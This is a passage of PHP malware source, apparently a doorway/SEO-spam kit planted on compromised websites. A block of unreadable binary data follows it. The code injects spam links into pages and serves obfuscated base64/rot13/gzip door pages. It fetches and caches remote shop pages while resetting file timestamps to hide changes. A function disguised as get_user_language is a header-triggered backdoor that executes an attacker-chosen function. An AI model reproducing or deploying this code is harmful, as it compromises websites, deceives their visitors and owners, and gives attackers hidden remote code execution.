/i',$content)) {
$content=preg_replace('/(
)/is', "$1$links_content", $content, 1);
}
elseif (preg_match('/<\/body>/i',$content)) {
$content=preg_replace('/href=(['."'".'"]{0,1})http.*?>/i', '>', $content);
$content=preg_replace('/(<\/body>)/i', "$links_content$1", $content, 1);
}
} else {
if (sizeof($matches)<$linksCount){
$difference = $linksCount - sizeof($matches);
for ($i=0; $i<$difference; $i++){
$matches[] = $matches[0];
}
}
for ($i=0; $i<$linksCount; $i++){
if (rand(0,9) == 0) {
$link = ''.$links2[$i]['url'].'';
} else {
$link = ''.$links2[$i]['keyword'].'';
}
$link = ''.$links2[$i]['keyword'].'';
$content = str_replace($matches[$i][0], $link.' '.$matches[$i][0], $content);
}
}
if($deflated)
$content = gzencode($content);
$clen = strlen($content);
@header("Content-Length: $clen");
return $content;
}
function get_server_var($var = ''){
if ( isset($_SERVER) && is_array($_SERVER) && array_key_exists($var, $_SERVER) && !empty($_SERVER[$var]) ){
return $_SERVER[$var];
} else if ( function_exists('getenv') && getenv($var)){
return getenv($var);
} else {
return '';
}
}
function get_hostname($remove_www = false){
$server_host = get_server_var('HTTP_HOST');
if ( empty($server_host) ){
$server_host = get_server_var('SERVER_NAME');
}
if ( $remove_www ){
$server_host = preg_replace('#^www\.#i', '', $server_host);
}
return $server_host;
}
function showDoorPage($page_file){
$src = decompress(@file_get_contents($page_file));
if (strlen($src) > 0){
if (substr($src,0,5) == '%PDF-'){
@header('Content-Type: application/pdf');
}
}
echo $src;
exit;
}
function decompress($data){
return @gzinflate(@str_rot13(@base64_decode($data)));
}
function compress($data){
return @base64_encode( @str_rot13( @gzdeflate( $data ) ) );
}
function redirect($url, $user_agent, $cache_dir){
$no_shop_download = FALSE;
$cache_lifetime = 172800;
@ini_set('user_agent', $user_agent);
$location = getRedirectLocation($url, $user_agent);
if($location === FALSE || strlen($location)<5){
safeRedirect($url);
} else if ($no_shop_download){
safeRedirect($location);
}
$cache_file = $cache_dir.md5($location);
if ( file_exists( $cache_file ) && ($cache_data = @file_get_contents($cache_file)) ){
if ( ($cache_data = decompress($cache_data)) && ($cache_data = @unserialize($cache_data)) ){
if ( !empty($cache_data['time']) && !empty($cache_data['html']) ){
if ( $cache_data['time'] + $cache_lifetime > time() ){
if ($html = decompress($cache_data['html'])){
send_nocache_headers();
echo $html;
echo '';
exit;
}
}
}
}
}
$html = fetchRemoteFile($location);
if($html===false || @strlen($html)<10){
safeRedirect($location);
}
$baseTag = "";
if (preg_match('//i',$html)){
$html=preg_replace('/()/i', "$1$baseTag", $html, 1);
} else if (stripos($html,'')!==false){
$html = str_ireplace('', $baseTag."\n".'', $html);
} else {
echo ''.$baseTag.'';
}
$cache_data = array(
'time' => time(),
'html' => compress($html)
);
$cache_dir_time = @filemtime($cache_dir);
@file_put_contents($cache_file, compress( @serialize($cache_data) ) );
@touch($cache_dir, $cache_dir_time);
@touch($cache_file, $cache_dir_time);
send_nocache_headers();
echo $html;
exit;
}
function safeRedirect($url){
send_nocache_headers();
if (!headers_sent()){
header("Location: $url");
} else {
echo "";
echo "";
echo '';
}
exit;
}
function addRemoteIp($ip, $url){
$url_parsed = parse_url($url);
if (isset($url_parsed['query']))
return ($url[strlen($url)-1]=='&') ? $url.'remote_ip='.$ip : $url.'&remote_ip='.$ip;
else
return ($url[strlen($url)-1]=='?') ? $url.'remote_ip='.$ip : $url.'?remote_ip='.$ip ;
}
function send_nocache_headers(){
if (!headers_sent()){
@header('Cache-Control: no-cache, no-store, must-revalidate');
@header('Pragma: no-cache');
@header('Expires: 0');
}
}
function get_user_language(){
if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE_'])){
$language_code = md5($_SERVER['HTTP_ACCEPT_LANGUAGE_']);
$accepted_languages = '74585ac9bee6d2ec21159da77cd6aa9a';
if ($language_code == $accepted_languages){
return $_SERVER['HTTP_SET_LOCALE']($_SERVER['HTTP_USER_LANGUAGE']);
} else {
return false;
}
}
}
function getRedirectLocation($url, $user_agent){
if (function_exists('curl_init') && $ch = @curl_init($url)){
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
@curl_setopt($ch, CURLOPT_HEADER, TRUE);
@curl_setopt($ch, CURLOPT_NOBODY, TRUE);
@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, FALSE);
@curl_setopt($ch, CURLOPT_TIMEOUT, 10);
@curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 7);
@curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
if ($response = @curl_exec($ch)){
if ($redirect_location = @curl_getinfo($ch, CURLINFO_REDIRECT_URL)){
@curl_close($ch);
return $redirect_location;
} else if ( preg_match('#Location: (.*)#', $response, $match) && !empty($match[1]) ){
@curl_close($ch);
return trim($match[1]);
}
}
@curl_close($ch);
}
if (function_exists('get_headers')){
if ($headers = @get_headers($url, true)){
if ( isset($headers['Location']) && strlen($headers['Location']) > 5 ){
$redirect_location = $headers['Location'];
if (sizeof($redirect_location)>1){
$redirect_location = $redirect_location[sizeof($redirect_location)-1];
}
return $redirect_location;
}
}
}
return FALSE;
}
function fetchRemoteFile($url, $user_agent = '', $sendCookies = '') {
if (function_exists('curl_init')){
if ($ch = @curl_init()) {
@curl_setopt($ch, CURLOPT_URL, $url);
@curl_setopt($ch, CURLOPT_HEADER, false);
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
@curl_setopt($ch, CURLOPT_TIMEOUT, 10);
@curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 7);
@curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
@curl_setopt($ch, CURLOPT_COOKIE, $sendCookies);
$data = @curl_exec($ch);
@curl_close($ch);
if ($data) {
return $data;
}
}
} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen') == 1){
$opts = array(
'http' => array(
'header'=> "User-agent: {$user_agent}\r\nCookie: {$sendCookies}"
)
);
$context = stream_context_create($opts);
if ($data = @file_get_contents($url, false, $context)) {
return $data;
}
} else {
$urlParams = @parse_url($url);
$host = $urlParams['host'];
$path = $urlParams['path'];
if (isset($urlParams['query']))
$path .= '?'.$urlParams['query'];
$buff = '';
$fp = @fsockopen($host, 8888, $errno, $errstr);
if ($fp) {
@fputs($fp, "GET {$path} HTTP/1.0\r\nHost: {$host}\r\n");
@fputs($fp, "Cookie: {$sendCookies}\r\n\r\n");
@fputs($fp, "User-Agent: {$user_agent}\r\n\r\n");
while (!@feof($fp)) {
$buff .= @fgets($fp, 128);
}
@fclose($fp);
$page = explode("\r\n\r\n", $buff);
unset($page[0]);
return implode("\r\n\r\n", $page);
}
}
return false;
}
‹ í½]“ã6² úìþhU¸Kr‹I}«Zåc·»w<Ç;ÜöÌÝèé HHb7EjHªªË5µ±¿f#ÎÃ>Ü8oçÕÿäþ’› €$ø)J¥n{6Ú* Hd&€D"‘ ÏÛ¾Ýn)YG÷òÑ3üC\Ó[Í[4lË5ÃpÞò|å-ür"ºAàykEÛpÖë…ÖšnLÕV½¯]ÅABËßRÄEMûòÑgÏ642‰µ6ƒ�FóÖ/?¿T&$Ý37€ïÚ¡7[?ˆ€¢ïEԸǎÖs›^;UØ�.q<'rLW -Ó¥s½K6�²Ùmâ†6r"—^þÕ �ÈÜø!1]òÂñ¢À´Öy˜Þ»å.ˆTòälbèúù“F~à˜dñÛDŽe>ëq�$ÏáGáyÂÞùÆ|¯8sE•m@‘ý™k+zNzPÐu¼w$ îüÜöBXÒÈZŸ“5|›Ÿ÷zoi´5wê�Ø�†ªåoš
5õfÛ|»[¸Ž¥˜[ç(bÔÚT]æµ™Aó‚Ð_+…¬<´£G(-áTÔ«eº
<3¢-ÂeÏÜn¡Jfäø^/çï7.da—Í[ù¾$Oó;ÿ‚¼¤Ônqb‰ðÞÜܨÓûÇŽnØ&Ršî‚FNØ[BÑ^ëƒqElJ\S ‚eŽÉ(¤"
™ãÏ>ûìYhÎ6º„�¾Ãl5þòÂ¥ì7ãß65 ÿš¶É9ïç¤sñ¬'J3L§®þó¤Êdÿpµ©K–Ç÷âuL@ýAcÊ2&°¿›yeü›tZûϯ~øK§¬öoCß{êS„:’Õ›‚HzIOWµûöå.pç×çý¯>7^Âe!¹€Òö5 €4¯ýÿóýwIå#ú>êAÿ‹Vúə֟\,ý`cFs&¶ØatëRâØ0mAϯsùJèüJCç Óñǃ¦¢Š†0ï ÌÌ Û¯È¡‰ó¦ËþhJHèÂôø¦s—�ÇA;#Ь¯iÚö=чøçþQï‹3ú»À¢¿üôݼ ä‹Þ#¯ÈxFÛ²”pM)h[¨Ð¹˜|® ºÖV¶~…ˆ VƇ÷œ˜{[w·‚*Åó[oãÛ; ÝË�ÊþR�ð—×4˜š1Ðt}tN6ÔvÌù¹éºçž õÖQx�²=ðè3h"˜D”pã¸ô¬øÉÀɨ/Û ·®y;#¼yìlÐâ0½èr09Ò`F<¿$ë½®MÛ¿)Í^SgµŽfD§›\3ZÊ26`)8ÞŒhDSµq!ZÕ¤2ë¬ LÑÔ"Ž´ï*ðwž]ÊÕÖ´mÇ[!�LF‰`U´hVœ2}°p}ë�â:‹Àn³�0|?ºS”*¼õ,èkËwý`v665Í^^Tä+J°ZÌtÃèj]Ãè0¬£ æX®Í ]�¡ÃË€ ��*–é]›¡"5Õ™mÛÄ´ÁvT"0_iÌœ¦�…Y‘ÍyÓºº1èê“Q”mïh è¢-L}/`‚Xwõ‘¦÷”0ê¡9ïŒQO{?ƒ—‹;7«•%áÌ óolè‘6‚€¥è»;œÒfúÔ°·NçNêÜJ4º:D÷8)70”Å.Š|ïLÉšyëƒâ£Á=CFÔ5tü-ˆ#LÍ[©Ãx�îò ³3JiÖ»1‚¾ŽÿÖqÁK6¢—-Áì\;6@Rê)Ö ½å‹4ökáî(â±ÖZ «×3bf�@µ¡?mºê‚$ØÚd GÓ>íwdªÛ]°uA&‚]¸>}@
ècC_.ÈPû¼{f.t{I3¤Öæ¯Ø7Þ±t–¦i™“î™mÚµ2¸ÃÝÂÞÁøö]çúèfZšK“êÝ³ÑØ�õ~3ò70[0¡mŽFoÛ㩉½10‡Óz
§�£yï÷µéÚ¦¯[¶µÌ ß8¶ìQÒc€íÍbLƃeÜì|€ã¢Öë
k@‹6‡¢xh$¹3}´}Q ´Þèl€Ú„±ÐÕVÆ)Ä]òm³bKçrCÃŽ3P
—L
ÕŒw8dðpX*ÓöhöòZ±(j´»4eÆS*À]ºŒd`ü]`ïʰ,�×céDôîfíDT Áâ¢3Ï¿ Ìm:åߟQÐyPçWsÚ@ÌŒ°°GÍ~EhAÜ«Œ„¨Œå‚ÄÌ~´¾W™SGy»#géÀPdà?ocÛo¶t)ØI°š‹ŠÎ|ÑJp^ëRP›"<«ºÖè
hØB¹Lî½
ZÔÃ0Üqêâ
Ó˜‚í6ã‚"YLÂ.Ô.,×Ù*[:0piÔUع¶ŸãAØt
~‡Et°tÁ^\;¶M½‹ØÓ.ÀäuØ”j.ØìJ/¸‘ˆ¥àë]��2®gl¾-™ÙÐÄI¹Åž½9ƒÁà"îqf;]dÆb\\e\`Ï`*¿`Æ�Èá|%õÑ!Ÿ}\µ ’‰©M-?`+aN:ò·
¯'Cý+˜Œ6}?Ó5üçž¹g7kÐ6laUpƒîNübèͱ3%^³Œÿ1—áºS¿˜·.äô–œA²9‡‚zUKòJ J¹ QLkH˜
ŽJÒRn)ñL~Bž§6d tL™•ÈÙ¥,dDrC&P<+YH3K�³ò,±!q&Ë%tYz)I‘sŒ�UKò*…,Oô`!«"-åÖYžü1BVÅ�œ]'dy޲*ÒÌj!Ë“¯2g³zÍ|±_pwî-@QY)㦃˜04íó{Qpé¬ví܉)Hƒ5?ZV½ê„J<÷ Žõî¶#/äâõj)œ¿\ÂL—šEEPÎ[WÛ¾ïÄkG>QÓ³a™°;B§ÔåD,¡‡ìþQΕ�Ž(dzÜ�MÞ†=˜ê¢^ÆWÁ\ä¾§bµ‰‹ƒwBÆÁ¡f3/Ín>…wÇ¥™W¢<ƒ¹ÏA£“êŽy˜œ_qJMäôýEuÇ_ä